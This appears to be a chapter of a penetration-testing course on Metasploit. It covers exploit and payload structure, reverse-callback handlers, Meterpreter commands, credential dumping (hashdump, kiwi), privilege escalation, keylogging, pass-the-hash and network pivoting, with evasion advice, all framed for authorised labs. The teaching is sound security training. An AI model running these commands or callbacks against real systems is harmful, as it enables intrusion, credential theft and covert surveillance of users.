Metasploit Part 2: Exploits, Payloads, Sessions & Meterpreter
This is Chapter 4 of the Exploitation notebook and the second of the four-part Metasploit arc. Chapter 3 built the foundation — what the framework is under the hood, its architecture, the module taxonomy, the datastore, the PostgreSQL-backed database, and how to drive msfconsole fluently. It stopped just short of the moment that makes Metasploit worth using: pulling the trigger and catching a session. This chapter is that moment, in full detail.
Here you will learn how an exploit module is really structured and what happens step by step when you type exploit; how the payload system is genuinely built out of three pieces (singles, stagers, stages) and why that split exists; how to choose between reverse and bind, staged and stageless, TCP, HTTP and HTTPS payloads based on the network you are actually facing; how to run a standalone multi/handler listener so you can catch payloads delivered by any means; and then — the centrepiece — Meterpreter: what it actually is as an in-memory agent, how it talks to your console, and the command set that turns a single foothold into full control of a host, credential loot and a route deeper into the network.
Everything in this chapter changes state on machines that are not the console you are typing into. It opens real shells, escalates real privileges and reads real secrets out of memory. All of it assumes an explicit, written, scoped engagement or hardware you own. Build the lab in Part 13 on your own hypervisor, point payloads only at VMs you control, and read what each module and command does before you run it. Offensive capability without authorisation is a crime, not a demonstration.
Part 1: The Exploit Module, Dissected
Section titled “Part 1: The Exploit Module, Dissected”In Chapter 3 you learned that an exploit is the module type that takes advantage of a specific flaw to run code of your choosing on a target. What you did not yet see is the internal machinery that turns use exploit/... followed by exploit into a shell. Understanding that machinery is the difference between an operator who knows why a shot missed and one who just re-runs it hoping for a different result.
Every exploit module is a Ruby class that subclasses Msf::Exploit::Remote (or ::Local, for local privilege-escalation exploits). It advertises metadata — name, description, author, references (CVE, EDB-ID), disclosure date, platform, architecture, a rank, and one or more targets. It exposes options through the datastore (RHOSTS, RPORT, SSL, TARGETURI, and exploit-specific ones), and it implements two methods that matter to you as an operator:
check— a non-destructive probe that tries to determine whether the target is vulnerable without actually exploiting it. Not every module implements it; when it does, run it first.exploit— the payload-delivery routine: it builds the malicious input, sends it, and (for a remote exploit) expects the payload to execute on the target and call back.
The single most important mental model is this: an exploit module’s only job is to get your payload to execute. The exploit is the delivery mechanism; the payload is the code that runs. Metasploit’s power comes from decoupling the two — the same windows/x64/meterpreter/reverse_tcp payload can be delivered by an SMB exploit, an RDP exploit, a browser exploit or a malicious document, because the exploit and payload are separate, composable modules. Chapter 1 introduced this exploit-vs-payload distinction conceptually; here you see it operationally.
The exploit lifecycle, step by step, when you type exploit:
flowchart TD
A[use exploit/module] --> B[set RHOSTS/RPORT/options]
B --> C[set PAYLOAD + LHOST/LPORT]
C --> D[check target - optional]
D --> E[type exploit]
E --> F[Framework starts a handler for the payload]
F --> G[Module builds malicious input for the target]
G --> H[Input sent to RHOST:RPORT]
H --> I{Vulnerable and reachable?}
I -- yes --> J[Payload executes on target]
J --> K[Payload connects back to handler]
K --> L[Session opened - shell or Meterpreter]
I -- no --> M[Exploit completed, no session created]
Notice step F: before the module even sends its malicious input, the framework spins up a handler (a listener) for whatever payload you selected. This is why order matters — if you set the payload after firing, or forget LHOST, the callback has nowhere to land. The most common beginner failure (“Exploit completed, but no session was created”) almost always traces back to this: the payload ran on the target but could not reach your handler, or no payload was configured at all.
Ranking recap (from Chapter 3), applied. Every exploit carries a reliability rank from manual up to excellent. In practice you filter for great/excellent first because those are least likely to crash the service. A normal-ranked memory-corruption exploit against a production host is how you turn an engagement into an outage. check and rank together are your two pre-flight safety instruments.
Part 2: Targets — One Exploit, Many Victims
Section titled “Part 2: Targets — One Exploit, Many Victims”A single vulnerability rarely exists in exactly one build. The same bug might affect Windows 7 SP1 x86, Windows 10 21H2 x64, and Server 2019, each with different memory offsets, gadget addresses or service versions. Metasploit models this with the target concept: a numbered list of specific configurations the module knows how to exploit, each carrying its own internal parameters (return addresses, offsets, ROP chains) that the module author baked in.
You inspect and set targets like this:
msf6 exploit(windows/smb/ms17_010_eternalblue) > show targets
Exploit targets:================= Id Name -- ----=> 0 Automatic Target 1 Windows 7 and Server 2008 R2 (x64) All Service Packs
msf6 exploit(windows/smb/ms17_010_eternalblue) > set TARGET 0TARGET => 0show targetslists them.=>marks the currently selected one.set TARGET <id>picks one (note: it’sTARGET, singular, an index — notTARGETS).- Automatic Target (0) asks the module to fingerprint the host and choose. Automatic is convenient but not infallible; if fingerprinting fails or the banner lies, an automatic pick can select wrong offsets and crash the target. When you know the exact OS from your enumeration, set the explicit target rather than trusting automatic.
Why targets matter for payload architecture (a preview of Part 3): the target also constrains which payloads are compatible. A target defined as x64 will only offer x64 payloads in show payloads; picking the wrong architecture is another classic reason a shot fails silently — the shellcode is simply the wrong machine code for the CPU it landed on.
Payload/target compatibility table:
| Target platform/arch | Compatible payload family | Example payload |
|---|---|---|
| Windows x64 | windows/x64/... | windows/x64/meterpreter/reverse_tcp |
| Windows x86 | windows/... | windows/meterpreter/reverse_tcp |
| Linux x64 | linux/x64/... | linux/x64/meterpreter/reverse_tcp |
| Unix (cmd) | cmd/unix/... | cmd/unix/reverse_bash |
| Java (cross-platform) | java/... | java/meterpreter/reverse_tcp |
| PHP web app | php/... | php/meterpreter/reverse_tcp |
| Python | python/... | python/meterpreter/reverse_tcp |
When you run show payloads after selecting a module and target, Metasploit filters this list automatically to only the compatible ones — a huge convenience you lose the moment you generate payloads standalone with msfvenom (Chapter 5), where you must get the platform/arch right yourself.
Part 3: The Payload System — Singles, Stagers and Stages
Section titled “Part 3: The Payload System — Singles, Stagers and Stages”This is the concept that most people use for years without truly understanding, and getting it clear will make every later decision obvious. A Metasploit payload name like windows/x64/meterpreter/reverse_tcp is not one monolithic blob. The payload system has three building blocks:
- Single (stageless) — a completely self-contained payload. Everything needed runs in one shot, no further download. Example:
windows/x64/shell_reverse_tcpopens a reverse command shell in a single, larger payload. Naming clue: an underscore between the shell type and the transport (shell_reverse_tcp) usually signals a single/stageless payload. - Stager — a tiny piece of code whose only job is to set up a network connection back to you and pull down the second, larger piece. It has to be small because the exploit’s buffer is often tiny. Examples of stagers:
reverse_tcp,bind_tcp,reverse_https. - Stage — the large payload that the stager downloads and executes in memory once the connection is established. Meterpreter itself is a stage. Naming clue: a slash before the transport (
meterpreter/reverse_tcp) signals a staged payload — read it as “the meterpreter stage, delivered by the reverse_tcp stager”.
So the same capability comes in two shapes:
| Payload | Shape | What travels first | What travels second |
|---|---|---|---|
windows/x64/meterpreter/reverse_tcp | Staged | small stager | Meterpreter stage (pulled over the socket) |
windows/x64/meterpreter_reverse_tcp | Stageless | the whole Meterpreter in one blob | nothing further |
windows/x64/shell/reverse_tcp | Staged | small stager | cmd.exe shell stage |
windows/x64/shell_reverse_tcp | Stageless | whole reverse shell in one blob | nothing further |
Read the punctuation: meterpreter/reverse_tcp = staged, meterpreter_reverse_tcp = stageless. This one detail resolves most confusion.
Why staging exists. Many exploits give you only a few hundred bytes of space to inject code. Meterpreter is hundreds of kilobytes. You physically cannot fit Meterpreter into that hole. The stager solves this: inject the tiny stager, let it phone home, and stream the big stage over the socket into memory. The stage never touches disk — it is written straight into the process’s memory and executed, which is a large part of why Meterpreter historically evaded disk-based antivirus.
sequenceDiagram
participant T as Target (stager running)
participant H as Your Handler (msf)
Note over T: Exploit injected the small stager
T->>H: TCP connect back to LHOST:LPORT
H->>T: Send the stage (Meterpreter DLL) over the socket
Note over T: Stage reflectively loaded into memory
T->>H: Meterpreter TLV: session established
H->>T: Commands (getuid, sysinfo, ...)
T->>H: Results
Trade-offs — staged vs stageless:
| Dimension | Staged (.../reverse_tcp) | Stageless (..._reverse_tcp) |
|---|---|---|
| Initial payload size | Tiny (fits small buffers) | Large |
| Network round-trips | Two-phase (stager then stage) | One-phase |
| Reliability on flaky links | Stage transfer can fail mid-download | More robust, nothing to download |
| AV/EDR footprint | Stage in memory (historically stealthier) | Whole payload on disk/in buffer at once |
| Handler must stay up for | Both the callback and the stage transfer | Just the callback |
| Use when | Buffer is small; you control a stable link | Buffer is large enough; link is unreliable; standalone file |
Operator rule of thumb: for in-framework exploitation over a decent link, staged Meterpreter (.../meterpreter/reverse_tcp) is the default. For a payload you drop as a standalone file and detonate later (a macro, an executable, a webshell), stageless is often more reliable because there is no second-stage download to fail. You will lean on stageless heavily in Chapter 5 (msfvenom).
Part 4: Reverse vs Bind, and the Transport Question
Section titled “Part 4: Reverse vs Bind, and the Transport Question”Chapter 1 introduced reverse vs bind shells conceptually. Now tie it to payload selection, because the choice is dictated by firewalls and NAT, not preference.
- Reverse payload (
reverse_tcp,reverse_https) — the target connects out to you. You run a listener; the target dials home. This wins almost every real engagement because outbound connections from a victim to the internet are usually allowed, while inbound connections to the victim are usually blocked by perimeter firewalls and NAT.LHOST/LPORTdescribe your listener. - Bind payload (
bind_tcp) — the target opens a listening port and waits; you connect in to it. This only works when you can reach an inbound port on the target — e.g. you’re already on the same LAN, or there’s no firewall between you.RHOST/LPORTdescribe the target’s listening socket. Bind shells are the right call when the target has no route back to you (egress fully filtered) but you can still reach it directly.
flowchart LR
subgraph Reverse
direction LR
V1[Victim] -->|connects out| A1[Attacker listener LHOST:LPORT]
end
subgraph Bind
direction LR
A2[Attacker] -->|connects in| V2[Victim listening port]
end
The transport (the last word in the name) decides how the callback travels, and this is a stealth/evasion decision:
| Transport | How it looks on the wire | Survives which controls | Notes |
|---|---|---|---|
reverse_tcp | Raw TCP to LPORT | Basic egress if the port is open | Cleartext, easiest to fingerprint; default for labs |
reverse_http | HTTP requests (GET/POST) | HTTP proxies, some egress filters | Blends with web traffic; can traverse a proxy with HttpProxy set |
reverse_https | TLS-wrapped HTTP | TLS-inspecting-less egress, proxies | Encrypted, hardest to inspect; the go-to for stealthy reverse callbacks |
bind_tcp | Listener on target | Only when inbound to target is reachable | No egress needed at all |
reverse_tcp_rc4 | RC4-obfuscated TCP | Naive signature IDS | Obfuscation, not real crypto |
HTTP/S transports have a killer feature: session resilience. reverse_http and reverse_https are stateless at the transport layer — Meterpreter polls over HTTP, so if the TCP connection drops, the session can survive and reconnect. A reverse_tcp session dies the instant the socket breaks. On unstable Wi-Fi, over a proxy, or across a slow VPN, HTTPS Meterpreter is dramatically more reliable. It also lets you set a SessionCommunicationTimeout and SessionExpirationTimeout so a beacon that loses contact will keep trying rather than dying immediately.
Red team relevance: on a real engagement you almost always reach for reverse_https with a legitimate-looking LPORT (443), a matching HandlerSSLCert, and often a domain-fronted or redirector-fronted LHOST, precisely because raw reverse_tcp on an odd port is a bright red flag for any monitored egress. Blue team relevance: the same fact tells defenders where to look — long-lived TLS sessions to a bare IP with no SNI/cert reputation, regular-interval beacons, and JA3 hashes matching known Meterpreter stagers.
Part 5: The Handler — Catching a Payload with multi/handler
Section titled “Part 5: The Handler — Catching a Payload with multi/handler”An exploit module starts a handler for you automatically. But you constantly need a standalone listener — to catch a payload delivered by a phishing document, a msfvenom executable, a webshell, or a manual exploit run outside Metasploit. That standalone listener is the exploit/multi/handler module. It is the single most-used “exploit” in the framework, and it exploits nothing at all — it just listens.
multi/handler teaches the whole configuration pattern in miniature:
msf6 > use exploit/multi/handler[*] Using configured payload generic/shell_reverse_tcpmsf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_httpsPAYLOAD => windows/x64/meterpreter/reverse_httpsmsf6 exploit(multi/handler) > set LHOST 10.10.14.7LHOST => 10.10.14.7msf6 exploit(multi/handler) > set LPORT 443LPORT => 443msf6 exploit(multi/handler) > set ExitOnSession falseExitOnSession => falsemsf6 exploit(multi/handler) > exploit -j[*] Exploit running as background job 0.[*] Started HTTPS reverse handler on https://10.10.14.7:443Command-by-command, every flag explained:
set PAYLOAD ...— the handler must match the payload you generated/delivered exactly. If you built areverse_httpspayload but set areverse_tcphandler, the callback arrives in a language the listener doesn’t speak and the session never forms. Payload,LHOST, andLPORTmust be identical on both sides.set LHOST/set LPORT— the address/port the target was told to call.LHOSTis your IP as the target sees it (on HTB/THM, yourtun0VPN IP; on a LAN, your interface IP; behind NAT, the forwarded public IP).set ExitOnSession false— keep the handler alive after the first session so it can catch multiple callbacks (e.g. you phished ten people). Without it, the handler stops after one catch.exploit -j— the-jflag runs the handler as a background job so your console stays free.jobs -llists running jobs;jobs -k <id>kills one. Without-j, the handler blocks your console until a session lands or you Ctrl-C.exploit -z— a related flag: catch the session but do not auto-interact with it; drop it straight to the background. Useful when catching many sessions.
Persisting the handler across restarts. A resource script (Chapter 3) makes this a one-liner. Save handler.rc:
use exploit/multi/handlerset PAYLOAD windows/x64/meterpreter/reverse_httpsset LHOST 10.10.14.7set LPORT 443set ExitOnSession falseexploit -jThen launch with msfconsole -q -r handler.rc and your listener is up before you’ve finished your coffee. This is the exact workflow you’ll pair with msfvenom in Chapter 5: generate a standalone payload, start the matching multi/handler, deliver the file, catch the session.
Part 6: Meterpreter — What It Actually Is
Section titled “Part 6: Meterpreter — What It Actually Is”Everything so far has been build-up to the payload that makes Metasploit special. Meterpreter (Meta-Interpreter) is an advanced, dynamically extensible payload that runs entirely in memory and gives you a rich command interface far beyond a raw shell. Understanding what it is — not just what it does — separates operators who can troubleshoot it from those who cargo-cult commands.
Meterpreter is, concretely:
- An in-memory DLL (on Windows) that is reflectively loaded — injected straight into a running process’s memory and executed without ever being written to disk. There is no
meterpreter.exesitting in a folder for antivirus to scan. This is the single biggest reason it historically evaded signature AV. (Modern EDR watches memory and behaviour, so “in memory” is no longer synonymous with “invisible” — more in Part 11.) - Injected into the exploited process’s address space — it runs inside, say,
spoolsv.exeor a browser process, sharing that process’s identity and privileges. It does not spawn an obvious new process by default, which keeps it off naive process-listing detections. - A stage (Part 3) delivered by a stager, or a stageless single. Either way, once running it speaks a custom protocol back to your console.
- Extensible at runtime — the core is small; extra capabilities load on demand as extensions (stdapi, priv, kiwi, python, etc.), streamed over the existing encrypted channel. You don’t re-exploit to gain a new capability; you
loadit.
How it talks: the TLV protocol. Meterpreter communicates with your console using a Type-Length-Value (TLV) packet protocol, and (in modern versions) the whole channel is AES-encrypted end-to-end regardless of transport — even reverse_tcp Meterpreter traffic is now encrypted at the Meterpreter layer, not just when you pick reverse_https. Each command and result is a structured TLV message, which is why Meterpreter can do things a dumb shell can’t: transfer files with integrity, tunnel sockets, enumerate structured data, and multiplex several channels (an interactive shell, a running process, a port-forward) over one connection.
flowchart TD
subgraph Console["msfconsole (attacker)"]
A[Meterpreter client] --> B[TLV encode + AES encrypt]
end
B -->|Transport: tcp/http/https| C
subgraph Target["Exploited process memory"]
C[TLV decode + AES decrypt] --> D[Meterpreter core]
D --> E[stdapi extension]
D --> F[priv extension]
D --> G[kiwi / python / other]
end
The extension model in practice:
| Extension | Loaded by | Provides |
|---|---|---|
core | always | migrate, load, channel, session transport control |
stdapi | auto on most sessions | filesystem, networking, process, system, UI commands (ls, download, ps, sysinfo) |
priv | auto on Windows | hashdump, timestomp, privilege ops |
kiwi | load kiwi | in-memory Mimikatz — credential extraction |
python | load python | run Python on the target in-memory |
powershell | load powershell | run PowerShell without spawning powershell.exe visibly |
incognito | load incognito | token impersonation for lateral movement |
Why this matters operationally: if a command like hashdump or ps returns “unknown command”, the usual cause is that its extension isn’t loaded (or you’re on a shell, not Meterpreter, or on the wrong platform). Knowing the extension model turns that error from a mystery into a one-line fix (load stdapi).
Part 7: The Meterpreter Command Set — Core, Filesystem, System
Section titled “Part 7: The Meterpreter Command Set — Core, Filesystem, System”Once you have a Meterpreter prompt (meterpreter >), you have a categorised command set. Type help to see it grouped; help <command> for details on one. Below is the working subset, taught by category, with every flag that matters.
Core / session commands
Section titled “Core / session commands”| Command | What it does | Key flags |
|---|---|---|
background (Ctrl-Z) | Send the session to the background, back to msf6 > | — |
sessions | (from msf prompt) list/interact with sessions | -i <id>, -l, -k |
guid | Show the session’s unique GUID | — |
help | List commands, grouped by extension | — |
load <ext> | Load an extension (kiwi, python, incognito) | — |
migrate <pid> | Move Meterpreter into another process | -N <name>, -P <pid> |
channel | List/interact with active channels | -l, -i <id> |
transport | Add/list/change the session’s transport at runtime | add, list, next |
exit / quit | Terminate the session | — |
Filesystem commands (stdapi)
Section titled “Filesystem commands (stdapi)”These mirror a Unix shell but operate on the target:
meterpreter > pwdC:\Windows\system32meterpreter > lsmeterpreter > cd C:\\Users\\jsmith\\Desktopmeterpreter > cat secrets.txtmeterpreter > download secrets.txt /root/loot/secrets.txt[*] Downloaded 1.42 KiB of 1.42 KiB (100.0%): secrets.txt -> /root/loot/secrets.txtmeterpreter > upload /root/tools/winPEAS.exe C:\\Windows\\Temp\\wp.exemeterpreter > search -f *.kdbx -d C:\\Usersmeterpreter > edit notes.txtmeterpreter > rm C:\\Windows\\Temp\\wp.exedownload <remote> <local>— pull a file back. Add-rto recurse a directory.upload <local> <remote>— push a file to the target. Note Windows paths need escaped backslashes (C:\\Windows\\Temp) or forward slashes.search -f <pattern> -d <dir>— hunt for files by name across the filesystem.-fis the filename glob,-dthe starting directory. Invaluable for findingweb.config,*.kdbx,unattend.xml,id_rsa.cat/edit— read/edit files in place;editopens a vi-like buffer in memory.
System commands (stdapi)
Section titled “System commands (stdapi)”meterpreter > sysinfoComputer : WEB01OS : Windows Server 2019 (10.0 Build 17763).Architecture : x64System Language : en_USDomain : CORPLogged On Users : 3Meterpreter : x64/windowsmeterpreter > getuidServer username: CORP\svc_webmeterpreter > getpidCurrent pid: 4820meterpreter > psmeterpreter > shellProcess 6112 created.Channel 3 created.Microsoft Windows [Version 10.0.17763.1]C:\Windows\system32> whoamicorp\svc_webC:\Windows\system32> exitmeterpreter > getenv USERNAME COMPUTERNAMEsysinfo— OS, build, architecture, domain membership. First thing to run: it tells you the exact target for privesc research and whether you’re domain-joined.getuid— the account Meterpreter is running as.NT AUTHORITY\SYSTEMmeans you already own the box; a service or user account means privesc is the next objective.getpid/ps— your current process ID and the full process list (with PID, PPID, arch, user, path).psis how you pick a migration target.shell— drop from Meterpreter into a nativecmd.exe//bin/shon the target when you need a real shell (e.g. to run a tool that expects one).exitreturns you to Meterpreter. On Windows,shellthenpowershellgets you PowerShell; better,load powershell+powershell_shellkeeps it in-memory.getenv <VARS>— read environment variables (paths, proxy config, domain hints).
Networking commands (stdapi)
Section titled “Networking commands (stdapi)”meterpreter > ipconfigmeterpreter > ifconfigmeterpreter > arpmeterpreter > netstat -anometerpreter > routemeterpreter > portfwd add -l 3389 -p 3389 -r 10.10.20.15meterpreter > resolve dc01.corp.localipconfig/ifconfig, arp, netstat and route are your reconnaissance of the internal network from the foothold — they reveal additional subnets and hosts you couldn’t see from outside. That intel drives the pivoting in Part 10.
UI / interaction commands
Section titled “UI / interaction commands”| Command | Use | Notes |
|---|---|---|
screenshot | Capture the target’s desktop | Saved to your loot dir |
screenshare | Live view of the desktop | Bandwidth-heavy |
keyscan_start / keyscan_dump / keyscan_stop | Keylogger | Captures keystrokes in the session’s desktop |
webcam_list / webcam_snap | Enumerate/snap webcams | Physical-access demo value |
idletime | How long since user input | Tells you if someone’s at the keyboard |
record_mic | Record from the microphone | Duration with -d seconds |
These are the “wow” commands in demos, but treat them as invasive: on an authorised engagement, capturing a user’s screen or keystrokes can sweep up personal data outside scope. Only use what your rules of engagement explicitly permit, and note it in your log.
Part 8: Session Management — Backgrounding, Multiple Sessions, Upgrading Shells
Section titled “Part 8: Session Management — Backgrounding, Multiple Sessions, Upgrading Shells”A session is Metasploit’s handle on a compromised host. You will routinely juggle several. The commands are simple; the discipline is in not losing track of which session is which.
From inside a session, background (or Ctrl-Z) returns you to the msf6 > prompt while leaving the session alive:
meterpreter > background[*] Backgrounding session 1...msf6 exploit(multi/handler) >From the msf prompt, sessions is your control panel:
msf6 > sessions -l
Active sessions=============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x64/windows CORP\svc_web @ WEB01 10.10.14.7:443 -> 10.10.20.5:49771 2 shell cmd/unix unknown 10.10.14.7:4444 -> 10.10.20.8:38112
msf6 > sessions -i 1 # interact with session 1msf6 > sessions -k 2 # kill session 2msf6 > sessions -K # kill ALL sessionsmsf6 > sessions -c "whoami" # run a command on every shell sessionmsf6 > sessions -C "getuid" # run a meterpreter command on all meterpreter sessions| Flag | Effect |
|---|---|
-l | List active sessions |
-i <id> | Interact with a session |
-k <id> | Kill one session |
-K | Kill every session |
-c <cmd> | Run a shell command across all shell sessions |
-C <cmd> | Run a Meterpreter command across all Meterpreter sessions |
-u <id> | Upgrade a raw shell session to Meterpreter |
-n <name> | Name a session so you remember what it is |
Upgrading a plain shell to Meterpreter is one of the highest-value moves you’ll make. Public exploits and reverse-shell one-liners often hand you a dumb cmd//bin/sh — no download, no hashdump, no pivoting. sessions -u re-exploits that shell with a Meterpreter payload:
msf6 > sessions -u 2[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [2][*] Upgrading session ID: 2[*] Starting exploit/multi/handler[*] Started reverse TCP handler on 10.10.14.7:4433[*] Sending stage (200774 bytes) to 10.10.20.8[*] Meterpreter session 3 opened (10.10.14.7:4433 -> 10.10.20.8:38120)Under the hood this runs the post/multi/manage/shell_to_meterpreter module, which detects the OS/arch, generates a matching Meterpreter payload, uploads/executes it, and catches the new session. You now have session 3 (Meterpreter) alongside the original session 2 (shell). This is the standard bridge between “I caught a shell from a msfvenom payload / a scripted exploit” and “I have full Meterpreter tooling.”
Naming discipline: on a multi-host engagement, sessions -n web01-svc_web -i 1 labels sessions so sessions -l reads like an inventory rather than a pile of anonymous IDs. Losing track of which SYSTEM shell is on which production box is how mistakes happen.
Part 9: Post-Exploitation with Meterpreter — Privilege, Migration, Credentials
Section titled “Part 9: Post-Exploitation with Meterpreter — Privilege, Migration, Credentials”A foothold is not the objective; it’s the beginning. Post-exploitation is where you turn a low-privileged process into domain-relevant loot. This part covers the core Windows post-ex primitives Meterpreter gives you. (The next chapter’s arc goes deeper into dedicated post modules and pivoting automation; here we cover the built-ins you use on every box.)
Migration — surviving and blending in
Section titled “Migration — surviving and blending in”meterpreter > getpidCurrent pid: 4820meterpreter > ps # find a stable, same-or-higher-integrity processmeterpreter > migrate -N explorer.exe[*] Migrating from 4820 to 6604...[*] Migration completed successfully.Why migrate. Your Meterpreter lives inside the exploited process. If that process is a browser tab the user closes, or a service that crashes because you exploited it, your session dies with it. migrate moves Meterpreter into a more stable process — explorer.exe (survives as long as the user is logged in) or a service running at the privilege you want. Migration also changes which process defenders see network activity coming from.
migrate <pid>— move into a specific PID (fromps).migrate -N <name>— move into the first process matching a name (convenient).- Architecture must match: an x86 Meterpreter cannot migrate into an x64 process and vice-versa without a matching build. Mismatches fail loudly. Prefer x64 payloads on x64 hosts from the start.
Privilege escalation — getsystem and beyond
Section titled “Privilege escalation — getsystem and beyond”meterpreter > getuidServer username: CORP\svc_webmeterpreter > getprivs # what privileges does this token hold?meterpreter > getsystem...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).meterpreter > getuidServer username: NT AUTHORITY\SYSTEMgetsystem— attempts several built-in local escalation techniques (named-pipe impersonation, token duplication) to jump from a local admin toNT AUTHORITY\SYSTEM. Important caveat:getsystemonly works if you are already a local administrator (or hold the right privileges likeSeImpersonatePrivilege). It is not a magic un-privileged-to-SYSTEM button. Ifgetsystemfails, you need a real privesc — a kernel exploit, a service misconfiguration, an unquoted service path,SeImpersonate+ a Potato attack (load incognito/ a printspoofer-style module), or thelocal_exploit_suggester:run post/multi/recon/local_exploit_suggester— enumerates the host and lists local exploit modules likely to work. This is the honest privesc path whengetsystemwon’t bite.getprivs— dumps the current token’s privileges. SeeingSeImpersonatePrivilegeorSeAssignPrimaryTokenPrivilegeon a service account is a green light for a Potato-family escalation.
Credential harvesting — hashdump and kiwi
Section titled “Credential harvesting — hashdump and kiwi”Once you are SYSTEM you can read secrets:
meterpreter > hashdumpAdministrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::jsmith:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
meterpreter > load kiwimeterpreter > creds_all[+] Running as SYSTEM[*] Retrieving all credentialsmsv credentials===============Username Domain NTLM SHA1-------- ------ ---- ----jsmith CORP 8846f7eaee8fb117ad06bdd830b7586c ...
meterpreter > lsa_dump_sammeterpreter > lsa_dump_secretshashdump(priv extension) — dumps the local SAM database’s NTLM hashes. These feed offline cracking (hashcat, Chapter of the Password Attacks notebook) or pass-the-hash lateral movement (smb_login,psexec,crackmapexecwith-H). Requires SYSTEM.load kiwi— loads Kiwi, the in-memory port of Mimikatz, straight into the session. Nomimikatz.exeon disk.creds_all— pull every credential Kiwi can reach: NTLM hashes, and on older/misconfigured hosts, cleartext passwords from WDigest/LSASS.lsa_dump_sam/lsa_dump_secrets— dump the SAM and LSA secrets (service account passwords, cached domain creds, DPAPI keys).
Blue team note (previewing Part 12): hashdump and Kiwi both touch LSASS, which is exactly what modern EDR watches most closely. LSASS access from an unusual process, or the named-pipe patterns getsystem creates, are high-fidelity detections. On a hardened target these commands frequently trip alerts or fail outright — the “textbook” flow works cleanly only in the lab.
Persistence — a word of caution
Section titled “Persistence — a word of caution”Meterpreter can install persistence (run persistence, registry run-keys, scheduled tasks, services). On an authorised engagement, persistence is sometimes in scope to test detection, but it is high-risk: it leaves durable changes on the target that you must clean up, and a forgotten backdoor is both an ethics failure and a liability. Only deploy persistence when the rules of engagement explicitly allow it, document every artefact, and remove it during cleanup.
Part 10: Pivoting — Routing Through a Compromised Host
Section titled “Part 10: Pivoting — Routing Through a Compromised Host”The single most valuable thing a Meterpreter session gives you on a real network is reach. Your attack box usually cannot talk to the internal server subnet directly — but your foothold can. Pivoting turns the compromised host into a router so the rest of Metasploit (and other tools) can attack machines you otherwise could not touch.
flowchart LR
A[Attacker 10.10.14.7] -->|Meterpreter session| B[WEB01 10.10.20.5]
B -.->|internal only| C[DC01 10.10.30.10]
B -.->|internal only| D[SQL01 10.10.30.20]
A -->|autoroute via session 1| C
A -->|socks + proxychains| D
autoroute — teach Metasploit the internal subnet
Section titled “autoroute — teach Metasploit the internal subnet”meterpreter > run autoroute -s 10.10.30.0/24[*] Adding route to 10.10.30.0/255.255.255.0...meterpreter > run autoroute -p # print the routing tablemeterpreter > backgroundmsf6 > route printrun autoroute -s <subnet>adds a route so that any Metasploit module targeting10.10.30.xis transparently tunnelled through session 1. Nowuse auxiliary/scanner/portscan/tcp; set RHOSTS 10.10.30.10; runscans the DC through the foothold. There is also a post module form:run post/multi/manage/autoroute -s 10.10.30.0/24.route print(at msf prompt) shows Metasploit’s internal routing table — which subnets go via which session.
portfwd — forward a single port to your loopback
Section titled “portfwd — forward a single port to your loopback”meterpreter > portfwd add -l 3389 -p 3389 -r 10.10.30.10[*] Local TCP relay created: :3389 <-> 10.10.30.10:3389Now rdesktop 127.0.0.1:3389 on your attack box lands on the DC’s RDP through the tunnel. Flags: -l local listen port on your box, -p the remote port, -r the remote host. portfwd list shows active forwards; portfwd delete -l 3389 removes one. portfwd is perfect for pointing a single external tool (an RDP client, a database client) at one internal service.
SOCKS proxy — run any external tool through the pivot
Section titled “SOCKS proxy — run any external tool through the pivot”autoroute only helps Metasploit’s own modules. To route external tools (nmap, crackmapexec, a browser) through the pivot, run a SOCKS proxy server that rides on the Metasploit routes:
msf6 > use auxiliary/server/socks_proxymsf6 auxiliary(server/socks_proxy) > set SRVPORT 1080msf6 auxiliary(server/socks_proxy) > set VERSION 5msf6 auxiliary(server/socks_proxy) > run -j[*] Starting the SOCKS proxy serverThen point proxychains at it (/etc/proxychains4.conf → socks5 127.0.0.1 1080) and prefix any tool:
proxychains nmap -sT -Pn -p 445,3389,5985 10.10.30.10proxychains crackmapexec smb 10.10.30.0/24 -u jsmith -H 8846f7eaee8fb117ad06bdd830b7586cproxychains xfreerdp /v:10.10.30.10 /u:AdministratorNote the constraint: SOCKS/proxychains tunnels TCP connect scans only (nmap -sT -Pn), never SYN or UDP scans, because the tunnel operates at the connection layer. This trio — autoroute for MSF modules, portfwd for one tool/one port, socks_proxy+proxychains for everything else — is the complete pivoting toolkit and a staple of every internal engagement and every multi-host HTB/PG box.
Part 11: Encoders, Evasion and the Modern AV/EDR Reality
Section titled “Part 11: Encoders, Evasion and the Modern AV/EDR Reality”New operators are taught “encode the payload to bypass antivirus.” That advice is a decade out of date and understanding why will save you from wasting an engagement on it.
What encoders actually do. An encoder (e.g. the famous x86/shikata_ga_nai) takes payload bytes and rewrites them into a functionally identical but different-looking byte sequence, wrapped in a small decoder stub that reconstructs the original at runtime. Encoders exist primarily to solve two technical problems, not to defeat AV:
- Bad-character avoidance — a buffer overflow might mangle any payload containing
\x00(null),\x0a(newline),\x0d(carriage return). Encoders let you produce a payload free of those bytes withmsfvenom -b '\x00\x0a\x0d'(Chapter 5). - Architecture/format compatibility — reshaping bytes to survive a particular delivery channel.
Why encoding no longer bypasses AV. shikata_ga_nai and friends are themselves signatured — AV vendors have had the decoder stubs in their databases for years. Encoding a Meterpreter payload with shikata_ga_nai now often makes it more detectable, because the encoder signature is itself an IOC. Multiple iterations (-i 10) don’t help; the outer stub is still recognisable. Meanwhile, modern EDR doesn’t rely on file signatures at all — it watches behaviour: reflective DLL loads, LSASS access, named-pipe impersonation (getsystem), suspicious process trees, and known Meterpreter API/memory patterns. A perfectly “encoded” payload that then behaves exactly like Meterpreter is caught on behaviour regardless of how its bytes look.
| Technique | Bypasses signature AV? | Bypasses modern EDR? | Real use |
|---|---|---|---|
shikata_ga_nai encoding | No (stub is signatured) | No | Bad-char removal, format shaping |
| Multiple encode iterations | No | No | Myth; adds size, not stealth |
| Stageless + custom template | Sometimes | Rarely | Modestly better than defaults |
| Custom loader / shellcode runner | Sometimes | Sometimes | Real evasion is bespoke |
| Living-off-the-land (no Meterpreter) | N/A | Often best | Native tools raise fewer flags |
